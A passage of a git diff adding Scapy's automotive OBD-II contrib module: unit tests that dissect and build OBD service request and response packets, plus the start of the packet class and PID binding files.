Service 06 MID 00,01,02,03,04 + +p = OBD(b'\x06\x00\x01\x02\x03\x04') +assert p.service == 0x06 +assert p.mid[0] == 0x00 +assert p.mid[1] == 0x01 +assert p.mid[2] == 0x02 +assert p.mid[3] == 0x03 +assert p.mid[4] == 0x04 + + += Check dissecting a response for Service 06 MID 00 + +p = OBD(b'\x46\x00\x00\x00\x00\x00') +assert p.service == 0x46 +assert p.data_records[0].mid == 0x00 +assert p.data_records[0].supported_mids == "" + + += Check dissecting a response for Service 06 MID 00 and MID 20 + +p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04') +assert p.service == 0x46 +assert p.data_records[0].mid == 0x00 +assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" +assert p.data_records[1].mid == 0x20 +assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" + + += Check dissecting a response for Service 06 MID 00, 20, 40, 60, 80, A0 + +p = OBD(b'\x46\x00\x01\x02\x03\x04\x20\x01\x02\x03\x04\x40\x01\x02\x03\x04\x60\x01\x02\x03\x04\x80\x01\x02\x03\x04\xA0\x01\x02\x03\x04') +assert p.service == 0x46 +assert p.data_records[0].mid == 0x00 +assert p.data_records[0].supported_mids == "MID1E+MID18+MID17+MID0F+MID08" +assert p.data_records[1].mid == 0x20 +assert p.data_records[1].supported_mids == "MID3E+MID38+MID37+MID2F+MID28" +assert p.data_records[2].mid == 0x40 +assert p.data_records[2].supported_mids == "MID5E+MID58+MID57+MID4F+MID48" +assert p.data_records[3].mid == 0x60 +assert p.data_records[3].supported_mids == "MID7E+MID78+MID77+MID6F+MID68" +assert p.data_records[4].mid == 0x80 +assert p.data_records[4].supported_mids == "MID9E+MID98+MID97+MID8F+MID88" +assert p.data_records[5].mid == 0xA0 +assert p.data_records[5].supported_mids == "MIDBE+MIDB8+MIDB7+MIDAF+MIDA8" +assert len(p.data_records) == 6 + + += Check dissecting a response for Service 06 MID 01 + +p = OBD(b'\x46\x01\x01\x0A\x0B\xB0\x0B\xB0\x0B\xB0\x01\x05\x10\x00\x48\x00\x00\x00\x64\x01\x85\x24\x00\x96\x00\x4B\xFF\xFF') +assert p.service == 0x46 +assert p.data_records[0].mid == 0x01 +assert p.data_records[0].standardized_test_id == 1 +assert p.data_records[0].unit_and_scaling_id == 10 +assert p.data_records[0].test_value == 365.024 +assert p.data_records[0].min_limit == 365.024 +assert p.data_records[0].max_limit == 365.024 +assert "Voltage" in p.data_records[0].__repr__() +assert "365.024 mV" in p.data_records[0].__repr__() +assert p.data_records[1].mid == 0x01 +assert p.data_records[1].standardized_test_id == 5 +assert p.data_records[1].unit_and_scaling_id == 16 +assert p.data_records[1].test_value == 72 +assert p.data_records[1].min_limit == 0 +assert p.data_records[1].max_limit == 100 +assert "Time" in p.data_records[1].__repr__() +assert "72 ms" in p.data_records[1].__repr__() +assert p.data_records[2].mid == 0x01 +assert p.data_records[2].standardized_test_id == 0x85 +assert p.data_records[2].unit_and_scaling_id == 0x24 +assert p.data_records[2].test_value == 150 +assert p.data_records[2].min_limit == 75 +assert p.data_records[2].max_limit == 65535 +assert "Counts" in p.data_records[2].__repr__() +assert "150 counts" in p.data_records[2].__repr__() +assert len(p.data_records) == 3 + + += Check dissecting a response for Service 06 MID 21 + +p = OBD(b'\x46\x21\x87\x2F\x00\x00\x00\x00\x00\x00') +p.show() +assert p.service == 0x46 +assert p.data_records[0].mid == 0x21 +assert p.data_records[0].standardized_test_id == 135 +assert p.data_records[0].unit_and_scaling_id == 0x2F +assert p.data_records[0].test_value == 0 +assert p.data_records[0].min_limit == 0 +assert p.data_records[0].max_limit == 0 +assert "Percent" in p.data_records[0].__repr__() +assert "0 %" in p.data_records[0].__repr__() +assert len(p.data_records) == 1 + + += Check dissecting a request for Service 09 IID 00 + +p = OBD(b'\x09\x00') +assert p.service == 0x09 +assert p.iid[0] == 0x00 + + += Check dissecting a request for Service 09 IID 02 + +p = OBD(b'\x09\x02') +assert p.service == 0x09 +assert p.iid[0] == 0x02 + + += Check dissecting a request for Service 09 IID 04 + +p = OBD(b'\x09\x04') +assert p.service == 0x09 +assert p.iid[0] == 0x04 + + += Check dissecting a request for Service 09 IID 00 and IID 02 and IID 04 + +p = OBD(b'\x09\x00\x02\x04') +assert p.service == 0x09 +assert p.iid[0] == 0x00 +assert p.iid[1] == 0x02 +assert p.iid[2] == 0x04 + + += Check dissecting a request for Service 09 IID 0A + +p = OBD(b'\x09\x0A') +assert p.service == 0x09 +assert p.iid[0] == 0x0A + + += Check dissecting a response for Service 01 PID 75 + +p = OBD(b'\x41\x75\x0a\x00\x11\x22\x33\x44\x55') +assert p.service == 0x41 +assert p.data_records[0].pid == 0x75 +assert p.data_records[0].reserved == 0 +assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 +assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 +assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 +assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 +assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00-40 +assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11-40 +assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ + round((0x2233 * 0.1) - 40, 3) +assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ + round((0x4455 * 0.1) - 40, 3) + + += Check dissecting a response for Service 01 PID 00 and PID 20 + +p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') +assert p.service == 0x41 +assert p.data_records[0].pid == 0 +assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" +assert p.data_records[1].pid == 0x20 +assert p.data_records[1].supported_pids == "PID21" +assert len(p.data_records) == 2 + + += Check dissecting a response for Service 01 PID 05,01,15,0C,03 + +p = OBD(b'\x41\x05\x6e\x01\x83\x33\xff\x63\x15\xa0\x78\x0c\x0a\x6b\x03\x02\x00') +p.show() +assert p.service == 0x41 +assert p.data_records[0].pid == 5 +assert p.data_records[0].data == 70.0 +assert p.data_records[1].pid == 0x1 +assert p.data_records[2].pid == 0x15 +assert p.data_records[2].outputVoltage == 0.8 +assert p.data_records[2].trim == -6.25 +assert p.data_records[3].pid == 12 +assert p.data_records[3].data == 666.75 +assert p.data_records[4].pid == 3 +assert p.data_records[4].fuel_system1 == 0x02 +assert p.data_records[4].fuel_system2 == 0 +assert len(p.data_records) == 5 + +p = OBD(b'\x41\x00\xBF\xBF\xA8\x91\x20\x80\x00\x00\x00') +p.show() +assert p.service == 0x41 +assert p.data_records[0].pid == 0 +assert p.data_records[0].supported_pids == "PID20+PID1C+PID19+PID15+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID09+PID08+PID07+PID06+PID05+PID04+PID03+PID01" +assert p.data_records[1].pid == 0x20 +assert p.data_records[1].supported_pids == "PID21" +assert len(p.data_records) == 2 + + += Check dissecting a response for Service 01 PID 78 + +p = OBD(b'\x41\x78ABCDEFGHI') +assert p.service == 0x41 +assert p.data_records[0].pid == 0x78 +assert p.data_records[0].reserved == 4 +assert p.data_records[0].sensor1_supported == 1 +assert p.data_records[0].sensor2_supported == 0 +assert p.data_records[0].sensor3_supported == 0 +assert p.data_records[0].sensor4_supported == 0 +assert p.data_records[0].sensor1 == 1656.3 +assert p.data_records[0].sensor2 == 1707.7 +assert p.data_records[0].sensor3 == 1759.1 +assert p.data_records[0].sensor4 == 1810.5 + + += Check dissecting a response for Service 01 PID 7F + +p = OBD(b'\x41\x7F\x0a' + b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' + b'\x01\x02\x03\x04\x05\x06\x07\x08' + b'\x00\x11\x22\x33\x44\x55\x66\x77') +assert p.service == 0x41 +assert p.data_records[0].pid == 0x7F +assert p.data_records[0].reserved == 1 +assert p.data_records[0].total_with_pto_active_supported == 0 +assert p.data_records[0].total_idle_supported == 1 +assert p.data_records[0].total_supported == 0 +assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF +assert p.data_records[0].total_idle == 0x0102030405060708 +assert p.data_records[0].total_with_pto_active == 0x0011223344556677 + + += Check dissecting a response for Service 01 PID 89 + +p = OBD(b'\x41\x89ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') +assert p.service == 0x41 +assert p.data_records[0].pid == 0x89 +assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' + + += Check dissecting a response for Service 02 PID 75 + +p = OBD(b'\x42\x75\01\x0a\x00\x11\x22\x33\x44\x55') +assert p.service == 0x42 +assert p.data_records[0].pid == 0x75 +assert p.data_records[0].frame_no == 0x01 +assert p.data_records[0].reserved == 0 +assert p.data_records[0].turbo_a_turbine_outlet_temperature_supported == 1 +assert p.data_records[0].turbo_a_turbine_inlet_temperature_supported == 0 +assert p.data_records[0].turbo_a_compressor_outlet_temperature_supported == 1 +assert p.data_records[0].turbo_a_compressor_inlet_temperature_supported == 0 +assert p.data_records[0].turbocharger_a_compressor_inlet_temperature == 0x00 - 40 +assert p.data_records[0].turbocharger_a_compressor_outlet_temperature == 0x11 - 40 +assert p.data_records[0].turbocharger_a_turbine_inlet_temperature == \ + round((0x2233 * 0.1) - 40, 3) +assert p.data_records[0].turbocharger_a_turbine_outlet_temperature == \ + round((0x4455 * 0.1) - 40, 3) + + += Check dissecting a response for Service 02 PID 78 + +p = OBD(b'\x42\x78\x05ABCDEFGHI') +assert p.service == 0x42 +assert p.data_records[0].pid == 0x78 +assert p.data_records[0].frame_no == 0x05 +assert p.data_records[0].reserved == 4 +assert p.data_records[0].sensor1_supported == 1 +assert p.data_records[0].sensor2_supported == 0 +assert p.data_records[0].sensor3_supported == 0 +assert p.data_records[0].sensor4_supported == 0 +assert p.data_records[0].sensor1 == 1656.3 +assert p.data_records[0].sensor2 == 1707.7 +assert p.data_records[0].sensor3 == 1759.1 +assert p.data_records[0].sensor4 == 1810.5 + + += Check dissecting a response for Service 02 PID 7F + +p = OBD(b'\x42\x7F\x01\x03' + b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF' + b'\x01\x02\x03\x04\x05\x06\x07\x08' + b'\x00\x11\x22\x33\x44\x55\x66\x77') +assert p.service == 0x42 +assert p.data_records[0].pid == 0x7F +assert p.data_records[0].frame_no == 0x01 +assert p.data_records[0].reserved == 0 +assert p.data_records[0].total_with_pto_active_supported == 0 +assert p.data_records[0].total_idle_supported == 1 +assert p.data_records[0].total_supported == 1 +assert p.data_records[0].total == 0xFFFFFFFFFFFFFFFF +assert p.data_records[0].total_idle == 0x0102030405060708 +assert p.data_records[0].total_with_pto_active == 0x0011223344556677 + + += Check dissecting a response for Service 02 PID 89 + +p = OBD(b'\x42\x89\x01ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP') +assert p.service == 0x42 +assert p.data_records[0].pid == 0x89 +assert p.data_records[0].frame_no == 0x01 +assert p.data_records[0].data == b'ABCDEFGHIKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP' + + += Check dissecting a response for Service 02 PID 0C, 05, 04 + +p = OBD(b'\x42\x0c\x00\x20\x80\x04\x00\x80\x05\x00\x28') +assert p.service == 0x42 +assert p.data_records[0].pid == 0x0C +assert p.data_records[0].frame_no == 0x0 +assert p.data_records[0].data == 2080 +assert p.data_records[1].pid == 0x04 +assert p.data_records[1].frame_no == 0x0 +assert p.data_records[1].data == 50.196 +assert p.data_records[2].pid == 0x05 +assert p.data_records[2].frame_no == 0x0 +assert p.data_records[2].data == 0.0 + + += Check dissecting a response for Service 03 + +p = OBD(b'\x43\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') +assert p.service == 0x43 +assert p.count == 6 +assert bytes(p.dtcs[0]) == b'\x01\x43' +assert bytes(p.dtcs[1]) == b'\x01\x96' +assert bytes(p.dtcs[2]) == b'\x02\x34' +assert bytes(p.dtcs[3]) == b'\x02\xcd' +assert bytes(p.dtcs[4]) == b'\x03\x57' +assert bytes(p.dtcs[5]) == b'\x0a\x24' + + += Check dissecting a response for Service 07 + +p = OBD(b'\x47\x06\x01\x43\x01\x96\x02\x34\x02\xcd\x03\x57\x0a\x24') +assert p.service == 0x47 +assert p.count == 6 +assert bytes(p.dtcs[0]) == b'\x01\x43' +assert bytes(p.dtcs[1]) == b'\x01\x96' +assert bytes(p.dtcs[2]) == b'\x02\x34' +assert bytes(p.dtcs[3]) == b'\x02\xcd' +assert bytes(p.dtcs[4]) == b'\x03\x57' +assert bytes(p.dtcs[5]) == b'\x0a\x24' + + += Check dissecting a response for Service 08 Tid 00 + +p = OBD(b'\x48\x00ABCD') +assert p.service == 0x48 +assert p.data_records[0].tid == 0x00 +assert p.data_records[0].supported_tids == "TID1E+TID1A+TID18+TID17+TID12+TID0F+TID0A+TID08+TID02" + + += Check dissecting a response for Service 08 Tid 01 + +p = OBD(b'\x48\x01\x00\x00"\xffd') +assert p.service == 0x48 +assert p.data_records[0].tid == 0x01 +assert p.data_records[0].data_a == 0.0 +assert p.data_records[0].data_b == 0.0 +assert p.data_records[0].data_c == 0.17 +assert p.data_records[0].data_d == 1.275 +assert p.data_records[0].data_e == 0.5 + + += Check dissecting a response for Service 08 Tid 05 + +p = OBD(b'\x48\x05\x00\x00\x2b\xff\x7d') +assert p.service == 0x48 +assert p.data_records[0].tid == 0x05 +assert p.data_records[0].data_a == 0.0 +assert p.data_records[0].data_b == 0.0 +assert p.data_records[0].data_c == 0.172 +assert p.data_records[0].data_d == 1.02 +assert p.data_records[0].data_e == 0.5 + + += Check dissecting a response for Service 08 Tid 09 + +p = OBD(b'\x48\x09\x00\x00\x04\x1a\x0c') +assert p.service == 0x48 +assert p.data_records[0].tid == 0x09 +assert p.data_records[0].data_a == 0.0 +assert p.data_records[0].data_b == 0.0 +assert p.data_records[0].data_c == 0.16 +assert p.data_records[0].data_d == 1.04 +assert p.data_records[0].data_e == 0.48 + + += Check dissecting a response for Service 09 IID 00 + +p = OBD(b'\x49\x00ABCD') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x00 +assert p.data_records[0].supported_iids == "IID1E+IID1A+IID18+IID17+IID12+IID0F+IID0A+IID08+IID02" + + += Check dissecting a response for Service 09 IID 02 with one VIN + +p = OBD(b'\x49\x02\x01W0L000051T2123456') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x02 +assert p.data_records[0].count == 0x01 +assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' + + += Check dissecting a response for Service 09 IID 02 with two VINs + +p = OBD(b'\x49\x02\x02W0L000051T2123456W0L000051T2123456') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x02 +assert p.data_records[0].count == 0x02 +assert p.data_records[0].vehicle_identification_numbers[0] == b'W0L000051T2123456' +assert p.data_records[0].vehicle_identification_numbers[1] == b'W0L000051T2123456' + + += Check dissecting a response for Service 09 IID 04 with one CID + +p = OBD(b'\x49\x04\x01ABCDEFGHIJKLMNOP') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x04 +assert p.data_records[0].count == 0x01 +assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' + + += Check dissecting a response for Service 09 IID 04 with two CID + +p = OBD(b'\x49\x04\x02ABCDEFGHIJKLMNOPABCDEFGHIJKLMNOP') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x04 +assert p.data_records[0].count == 0x02 +assert p.data_records[0].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' +assert p.data_records[0].calibration_identifications[1] == b'ABCDEFGHIJKLMNOP' + + += Check dissecting a response for Service 09 IID 06 + +p = OBD(b'\x49\x06\x02ABCDEFGH') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x06 +assert p.data_records[0].count == 0x02 +assert p.data_records[0].calibration_verification_numbers[0] == b'ABCD' +assert p.data_records[0].calibration_verification_numbers[1] == b'EFGH' + + += Check dissecting a response for Service 09 IID 08 + +p = OBD(b'\x49\x08\x09\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\xFF\xFF') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x08 +assert p.data_records[0].count == 0x09 +assert p.data_records[0].data[0] == 1 +assert p.data_records[0].data[1] == 2 +assert p.data_records[0].data[2] == 3 +assert p.data_records[0].data[3] == 4 +assert p.data_records[0].data[4] == 5 +assert p.data_records[0].data[5] == 6 +assert p.data_records[0].data[6] == 7 +assert p.data_records[0].data[7] == 8 +assert p.data_records[0].data[8] == 65535 + + += Check dissecting a response for Service 09 IID 0A + +p = OBD(b'\x49\x0A\x01ECM\x00-Engine Control\x00') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x0A +assert p.data_records[0].count == 0x01 +assert p.data_records[0].ecu_names[0] == b'ECM\x00-Engine Control\x00' + + += Check dissecting a response for Service 09 IID 0B + +p = OBD(b'\x49\x0B\x05\x00\x01\x00\x02\x00\x03\x00\x04\xFF\xFF') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x0B +assert p.data_records[0].count == 0x05 +assert p.data_records[0].data[0] == 1 +assert p.data_records[0].data[1] == 2 +assert p.data_records[0].data[2] == 3 +assert p.data_records[0].data[3] == 4 +assert p.data_records[0].data[4] == 65535 + + += Check dissecting a response for Service 09 IID 02 and IID 04 + +p = OBD(b'\x49\x02\x01ABCDEFGHIJKLMNOPQ\x04\x01ABCDEFGHIJKLMNOP') +assert p.service == 0x49 +assert p.data_records[0].iid == 0x02 +assert p.data_records[0].count == 0x01 +assert p.data_records[0].vehicle_identification_numbers[0] == b'ABCDEFGHIJKLMNOPQ' +assert p.data_records[1].iid == 0x04 +assert p.data_records[1].count == 0x01 +assert p.data_records[1].calibration_identifications[0] == b'ABCDEFGHIJKLMNOP' + + +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x02' +assert b[2:3] == b'\x01' +assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' +assert b[20:21] == b'\x04' +assert b[21:22] == b'\x01' +assert b[22:] == b'ABCDEFGHIJKLMNOP' + + + += Check building a request for Service 01 PID 00 + +p = OBD()/OBD_S01(pid=0x00) +b = bytes(p) +assert b[0:1] == b'\x01' +assert b[1:2] == b'\x00' + + += Check building a request for Service 01 PID 75 + +p = OBD()/OBD_S01(pid=0x75) +b = bytes(p) +assert b[0:1] == b'\x01' +assert b[1:2] == b'\x75' + + += Check building a request for Service 01 PID 78 + +p = OBD()/OBD_S01(pid=0x78) +b = bytes(p) +assert b[0:1] == b'\x01' +assert b[1:2] == b'\x78' + + += Check building a request for Service 01 PID 7F + +p = OBD()/OBD_S01(pid=0x7F) +b = bytes(p) +assert b[0:1] == b'\x01' +assert b[1:2] == b'\x7F' + + += Check building a request for Service 01 PID 89 + +p = OBD()/OBD_S01(pid=0x89) +b = bytes(p) +assert b[0:1] == b'\x01' +assert b[1:2] == b'\x89' + + += Check building a request for Service 02 PID 00 + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x00, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x00' +assert b[2:3] == b'\x01' + + += Check building a request for Service 02 PID 75 + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x75, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x75' +assert b[2:3] == b'\x01' + + += Check building a request for Service 02 PID 78 + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x78, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x78' +assert b[2:3] == b'\x01' + + += Check building a request for Service 02 PID 7F + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x7F' +assert b[2:3] == b'\x01' + + += Check building a request for Service 02 PID 89 + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x89, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x89' +assert b[2:3] == b'\x01' + + += Check building a request for Service 03 + +p = OBD()/OBD_S03() +assert p.service == 0x03 + + += Check building a request for Service 02 PID 7F + +p = OBD()/OBD_S02(requests=[OBD_S02_Record(pid=0x7F, frame_no=0x01)]) +b = bytes(p) +assert b[0:1] == b'\x02' +assert b[1:2] == b'\x7F' +assert b[2:3] == b'\x01' + + += Check building a request for Service 09 IID 00 + +p = OBD()/OBD_S09(iid=0x00) +b = bytes(p) +assert b[0:1] == b'\x09' +assert b[1:2] == b'\x00' + + += Check building a request for Service 09 IID 02 + +p = OBD()/OBD_S09(iid=0x02) +b = bytes(p) +assert b[0:1] == b'\x09' +assert b[1:2] == b'\x02' + + += Check building a request for Service 09 IID 04 + +p = OBD()/OBD_S09(iid=0x04) +b = bytes(p) +assert b[0:1] == b'\x09' +assert b[1:2] == b'\x04' + + += Check building a request for Service 09 IID 00 and IID 02 and IID 04 + +p = OBD()/OBD_S09(iid=[0x00, 0x02, 0x04]) +b = bytes(p) +assert b[0:1] == b'\x09' +assert b[1:2] == b'\x00' +assert b[2:3] == b'\x02' +assert b[3:4] == b'\x04' + + += Check building a request for Service 09 IID 0A + +p = OBD()/OBD_S09(iid=0x0A) +b = bytes(p) +assert b[0:1] == b'\x09' +assert b[1:2] == b'\x0A' + + += Check building a response for Service 03 + +p = OBD()/OBD_S03_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Powertrain', code1=1, code2=3, code3=0, code4=1)]) +b = bytes(p) +assert b[0:1] == b'\x43' +assert b[1:2] == b'\x02' +assert b[2:4] == b'\x00\x00' +assert b[4:6] == b'\x13\x01' + + += Check building a default response for Service 03 + +p = OBD()/OBD_S03_PR() +b = bytes(p) +assert len(p) == 2 +assert b[0:1] == b'\x43' +assert b[1:2] == b'\x00' +assert p.dtcs == [] + + += Check building a response for Service 07 + +p = OBD()/OBD_S07_PR(dtcs=[OBD_DTC(location='Chassis', code1=0, code2=5, code3=1, code4=0)]) +b = bytes(p) +assert b[0:1] == b'\x47' +assert b[1:2] == b'\x01' +assert b[2:4] == b'\x45\x10' + + += Check building a default response for Service 07 + +p = OBD()/OBD_S07_PR() +b = bytes(p) +assert len(p) == 2 +assert b[0:1] == b'\x47' +assert b[1:2] == b'\x00' +assert p.dtcs == [] + + += Check building a response for Service 0A + +p = OBD()/OBD_S0A_PR(dtcs=[OBD_DTC(), OBD_DTC(location='Body', code1=1, code2=7, code3=8, code4=2), OBD_DTC()]) +b = bytes(p) +assert b[0:1] == b'\x4A' +assert b[1:2] == b'\x03' +assert b[2:4] == b'\x00\x00' +assert b[4:6] == b'\x97\x82' +assert b[6:8] == b'\x00\x00' + + += Check building a default response for Service 0A + +p = OBD()/OBD_S0A_PR() +b = bytes(p) +assert len(p) == 2 +assert b[0:1] == b'\x4A' +assert b[1:2] == b'\x00' +assert p.dtcs == [] + + += Check building a response for Service 09 IID 00 + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID00(b'ABCD')) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x00' +assert b[2:] == b'ABCD' + + += Check building a response for Service 09 IID 02 with one VIN + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'W0L000051T2123456')) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x02' +assert b[2:3] == b'\x01' +assert b[3:] == b'W0L000051T2123456' + + += Check building a response for Service 09 IID 02 with two VINs + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=[b'W0L000051T2123456', b'W0L000051T2123456'])) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x02' +assert b[2:3] == b'\x02' +assert b[3:20] == b'W0L000051T2123456' +assert b[20:] == b'W0L000051T2123456' + + += Check building a response for Service 09 IID 04 with one CID + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP')) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x04' +assert b[2:3] == b'\x01' +assert b[3:] == b'ABCDEFGHIJKLMNOP' + + += Check building a response for Service 09 IID 04 with two CID + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=[b'ABCDEFGHIJKLMNOP', b'ABCDEFGHIJKLMNOP'])) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x04' +assert b[2:3] == b'\x02' +assert b[3:19] == b'ABCDEFGHIJKLMNOP' +assert b[19:] == b'ABCDEFGHIJKLMNOP' + + += Check building a response for Service 09 IID 0A + +p = OBD(service=0x49)/OBD_S02_PR(data_records=OBD_S09_PR_Record()/OBD_IID0A(ecu_names=b'ABCDEFGHIJKLMNOPQRST')) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x0A' +assert b[2:3] == b'\x01' +assert b[3:] == b'ABCDEFGHIJKLMNOPQRST' + + += Check building a response for Service 09 IID 02 and IID 04 + +p = OBD(service=0x49)/OBD_S02_PR(data_records=[ + OBD_S09_PR_Record()/OBD_IID02(vehicle_identification_numbers=b'ABCDEFGHIJKLMNOPQ'), + OBD_S09_PR_Record()/OBD_IID04(calibration_identifications=b'ABCDEFGHIJKLMNOP') +]) +b = bytes(p) +assert b[0:1] == b'\x49' +assert b[1:2] == b'\x02' +assert b[2:3] == b'\x01' +assert b[3:20] == b'ABCDEFGHIJKLMNOPQ' +assert b[20:21] == b'\x04' +assert b[21:22] == b'\x01' +assert b[22:] == b'ABCDEFGHIJKLMNOP' \ No newline at end of file diff --git a/libs/scapy/contrib/automotive/obd/packet.py b/libs/scapy/contrib/automotive/obd/packet.py new file mode 100755 index 0000000..dcc3a23 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/packet.py @@ -0,0 +1,14 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.packet import Packet + + +class OBD_Packet(Packet): + def extract_padding(self, s): + return '', s diff --git a/libs/scapy/contrib/automotive/obd/pid/__init__.py b/libs/scapy/contrib/automotive/obd/pid/__init__.py new file mode 100755 index 0000000..f89e965 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/__init__.py @@ -0,0 +1,12 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive obd specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/obd/pid/pids.py b/libs/scapy/contrib/automotive/obd/pid/pids.py new file mode 100755 index 0000000..32f3b61 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids.py @@ -0,0 +1,390 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.packet import Packet, bind_layers +from scapy.fields import PacketListField + +from scapy.contrib.automotive.obd.services import OBD_S01, OBD_S02 +from scapy.contrib.automotive.obd.pid.pids_00_1F import * +from scapy.contrib.automotive.obd.pid.pids_20_3F import * +from scapy.contrib.automotive.obd.pid.pids_40_5F import * +from scapy.contrib.automotive.obd.pid.pids_60_7F import * +from scapy.contrib.automotive.obd.pid.pids_80_9F import * +from scapy.contrib.automotive.obd.pid.pids_A0_C0 import * + + +class OBD_S01_PR_Record(Packet): + fields_desc = [ + XByteField("pid", 0), + ] + + +class OBD_S01_PR(Packet): + name = "Parameter IDs" + fields_desc = [ + PacketListField("data_records", [], OBD_S01_PR_Record) + ] + + def answers(self, other): + return other.__class__ == OBD_S01 \ + and all(r.pid in other.pid for r in self.data_records) + + +class OBD_S02_PR_Record(Packet): + fields_desc = [ + XByteField("pid", 0), + XByteField("frame_no", 0), + ] + + +class OBD_S02_PR(Packet): + name = "Parameter IDs" + fields_desc = [ + PacketListField("data_records", [], OBD_S02_PR_Record) + ] + + def answers(self, other): + return other.__class__ == OBD_S02 \ + and all(r.pid in [o.pid for o in other.requests] + for r in self.data_records) + + +bind_layers(OBD_S01_PR_Record, OBD_PID00, pid=0x00) +bind_layers(OBD_S01_PR_Record, OBD_PID01, pid=0x01) +bind_layers(OBD_S01_PR_Record, OBD_PID02, pid=0x02) +bind_layers(OBD_S01_PR_Record, OBD_PID03, pid=0x03) +bind_layers(OBD_S01_PR_Record, OBD_PID04, pid=0x04) +bind_layers(OBD_S01_PR_Record, OBD_PID05, pid=0x05) +bind_layers(OBD_S01_PR_Record, OBD_PID06, pid=0x06) +bind_layers(OBD_S01_PR_Record, OBD_PID07, pid=0x07) +bind_layers(OBD_S01_PR_Record, OBD_PID08, pid=0x08) +bind_layers(OBD_S01_PR_Record, OBD_PID09, pid=0x09) +bind_layers(OBD_S01_PR_Record, OBD_PID0A, pid=0x0A) +bind_layers(OBD_S01_PR_Record, OBD_PID0B, pid=0x0B) +bind_layers(OBD_S01_PR_Record, OBD_PID0C, pid=0x0C) +bind_layers(OBD_S01_PR_Record, OBD_PID0D, 